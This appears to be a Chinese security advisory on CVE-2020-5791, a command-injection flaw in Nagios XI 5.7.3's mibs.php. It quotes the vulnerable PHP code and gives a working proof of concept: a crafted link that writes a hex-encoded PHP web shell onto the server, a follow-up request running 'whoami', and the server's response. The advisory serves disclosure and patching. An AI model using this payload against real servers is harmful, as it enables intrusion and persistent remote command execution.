CVE-2020-5791 | Nagios XI远程代码执行漏洞通告
发布时间 2020-10-280x00 漏洞概述
CNVD ID | CVE-2020-5791 | 时 间 | 2020-10-28 |
类 型 | RCE | 等 级 | 高危 |
远程利用 | 是 | 影响范围 | Nagios XI 5.7.3 |
Nagios XI是一个建立在Nagios核心上的企业级监测和报警方案的开源组件。功能包括PHP网站界面、综合表现图、可定制的仪表板、网络结构、配置GUI(图形用户接口)、用户管理等。
0x01 漏洞详情
2020年10月15日,Nagios开发团队发布安全公告称Nagios XI 5.7.3中存在多个安全漏洞,其中较为严重的是一个远程代码执行漏洞(CVE-2020-5791),其CVSS评分7.2。
该漏洞存在于/nagiosxi/admin/mibs.php文件中。攻击者可能利用此漏洞以“apache”用户执行任意命令。具体来说,当HTTP参数“mode”等于“undo-processing”并且“type”参数等于1时,“file”参数最终将被传递给PHP exec()函数,而不需进行清理。以下代码显示了这一点:
function route_request()
{
global $request;
$mode = '';
if (isset($request['mode'])) {
$mode = $request['mode'];
}
switch ($mode) {
...
case 'undo-processing':
undo_process_single(); // VULN
break;
...
}
...
}
function undo_process_single() {
// Mode needs to be based on processing type of MIB, not on 'current' processing type
$file = grab_request_var('file', '');
$name = grab_request_var('name', '');
$current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));
if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
show_mibs(false, _("No processing to be undone"));
}
undo_processing($file, $name, $current_type); // VULN
show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));
}
function undo_processing($file, $name, $current_type) {
if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
return;
}
$current_conf_path = get_processing_destination($current_type) . '/' . $file;
remove_snmpttconvertmib_files(array($file));
if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {
$get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";
exec($get_event_names_cmd, $all_events, $rc); // VULN
$all_events = array_unique($all_events);
remove_from_snmptt_conf($all_events);
}
mibs_revert_db_entry($name);
}
此漏洞的POC如下:
攻击者将以下链接发送给Nagios XI管理员:
http://192.168.x.x/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e">/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/scooby.php
管理员单击链接后,将创建scooby.php文件,攻击者可以访问新创建的PHP脚本来执行更多命令。
http://192.168.x.x/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami
注意响应中的“apache”:
HTTP/1.1 200 OK
Date: Thu, 24 Sep 2020 21:09:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8
apache
--no-insert
0x02 处置建议
升级到最新版本。
下载链接:
https://www.nagios.com/downloads/nagios-xi/
0x03 参考链接
https://www.nagios.com/products/security/
https://www.nagios.com/downloads/nagios-xi/change-log/
https://zh-cn.tenable.com/security/research/tra-2020-58?tns_redirect=true
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5791
0x04 时间线
2020-10-15 Nagios发布安全公告
2020-10-28 VSRC发布安全通告
0x05 附录
CVSS评分标准官网:http://www.first.org/cvss/